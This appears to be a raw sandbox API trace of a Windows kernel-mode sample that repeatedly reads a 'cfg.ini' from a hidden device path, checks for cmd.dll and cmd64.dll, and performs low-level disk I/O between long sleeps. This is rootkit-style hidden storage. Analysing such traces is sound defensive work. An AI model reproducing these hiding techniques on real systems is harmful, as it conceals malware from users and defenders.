[0128.054] KeEnterCriticalRegion () [0128.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] KeLeaveCriticalRegion () [0128.054] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.054] KeEnterCriticalRegion () [0128.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.054] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] KeLeaveCriticalRegion () [0128.054] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.054] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.054] KeEnterCriticalRegion () [0128.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] ExFreePoolWithTag (P=0xfffffa800c5fea90, Tag=0x0) [0128.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.054] KeLeaveCriticalRegion () [0128.054] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.054] ReleaseMutex (hMutex=0xf0) returned 1 [0128.054] Sleep (dwMilliseconds=0x124f80) [0128.073] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.073] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.073] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.073] KeEnterCriticalRegion () [0128.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.073] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.073] IdePortDispatch () returned 0x103 [0128.073] KeWaitForMutexObject () returned 0x0 [0128.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.073] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.074] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.074] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.074] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.074] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accbe0 [0128.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.074] KeLeaveCriticalRegion () [0128.074] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.074] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.074] KeEnterCriticalRegion () [0128.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.074] KeLeaveCriticalRegion () [0128.074] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.074] KeEnterCriticalRegion () [0128.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.074] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.074] IdePortDispatch () returned 0x103 [0128.074] KeWaitForMutexObject () returned 0x0 [0128.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.074] KeLeaveCriticalRegion () [0128.074] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.075] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.075] KeEnterCriticalRegion () [0128.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0128.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.075] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.075] IdePortDispatch () returned 0x103 [0128.075] KeWaitForMutexObject () returned 0x0 [0128.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.075] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.075] IdePortDispatch () returned 0x103 [0128.075] KeWaitForMutexObject () returned 0x0 [0128.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.075] KeLeaveCriticalRegion () [0128.075] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.076] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.076] KeEnterCriticalRegion () [0128.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.076] KeLeaveCriticalRegion () [0128.076] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.076] KeEnterCriticalRegion () [0128.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.076] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.076] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfedc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.076] KeLeaveCriticalRegion () [0128.076] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.076] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.076] KeEnterCriticalRegion () [0128.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.077] ExFreePoolWithTag (P=0xfffffa8003accbe0, Tag=0x0) [0128.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.077] KeLeaveCriticalRegion () [0128.077] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.077] ReleaseMutex (hMutex=0xf0) returned 1 [0128.077] Sleep (dwMilliseconds=0x124f80) [0128.095] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.095] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.095] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.095] KeEnterCriticalRegion () [0128.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.096] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.096] IdePortDispatch () returned 0x103 [0128.096] KeWaitForMutexObject () returned 0x0 [0128.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.096] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.096] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.096] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.096] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.096] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c5fea90 [0128.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.096] KeLeaveCriticalRegion () [0128.096] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.096] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.096] KeEnterCriticalRegion () [0128.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.096] KeLeaveCriticalRegion () [0128.096] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.096] KeEnterCriticalRegion () [0128.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.097] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.097] IdePortDispatch () returned 0x103 [0128.097] KeWaitForMutexObject () returned 0x0 [0128.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.097] KeLeaveCriticalRegion () [0128.097] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.097] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.097] KeEnterCriticalRegion () [0128.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cba000 [0128.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.097] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.097] IdePortDispatch () returned 0x103 [0128.098] KeWaitForMutexObject () returned 0x0 [0128.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.098] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.098] IdePortDispatch () returned 0x103 [0128.098] KeWaitForMutexObject () returned 0x0 [0128.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.098] KeLeaveCriticalRegion () [0128.098] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.099] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.099] KeEnterCriticalRegion () [0128.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.099] KeLeaveCriticalRegion () [0128.099] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.099] KeEnterCriticalRegion () [0128.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.099] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.099] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfedc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.099] KeLeaveCriticalRegion () [0128.099] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.099] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.099] KeEnterCriticalRegion () [0128.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.099] ExFreePoolWithTag (P=0xfffffa800c5fea90, Tag=0x0) [0128.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.099] KeLeaveCriticalRegion () [0128.099] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.099] ReleaseMutex (hMutex=0xf0) returned 1 [0128.099] Sleep (dwMilliseconds=0x124f80) [0128.118] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.118] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.118] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.118] KeEnterCriticalRegion () [0128.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.118] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.118] IdePortDispatch () returned 0x103 [0128.119] KeWaitForMutexObject () returned 0x0 [0128.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.119] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.119] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.119] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.119] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.119] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfed00 [0128.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.119] KeLeaveCriticalRegion () [0128.119] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.119] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.119] KeEnterCriticalRegion () [0128.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.119] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.119] KeLeaveCriticalRegion () [0128.119] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.119] KeEnterCriticalRegion () [0128.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.119] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.119] IdePortDispatch () returned 0x103 [0128.120] KeWaitForMutexObject () returned 0x0 [0128.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.120] KeLeaveCriticalRegion () [0128.120] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.120] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.120] KeEnterCriticalRegion () [0128.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.120] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbf000 [0128.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.120] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.120] IdePortDispatch () returned 0x103 [0128.121] KeWaitForMutexObject () returned 0x0 [0128.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.121] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.121] IdePortDispatch () returned 0x103 [0128.121] KeWaitForMutexObject () returned 0x0 [0128.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.121] KeLeaveCriticalRegion () [0128.121] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.122] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.122] KeEnterCriticalRegion () [0128.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.122] KeLeaveCriticalRegion () [0128.122] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.122] KeEnterCriticalRegion () [0128.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.122] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.122] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.122] KeLeaveCriticalRegion () [0128.122] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.122] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.122] KeEnterCriticalRegion () [0128.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.122] ExFreePoolWithTag (P=0xfffffa8003bfed00, Tag=0x0) [0128.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.122] KeLeaveCriticalRegion () [0128.122] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.122] ReleaseMutex (hMutex=0xf0) returned 1 [0128.122] Sleep (dwMilliseconds=0x124f80) [0128.143] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.143] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.143] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.143] KeEnterCriticalRegion () [0128.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 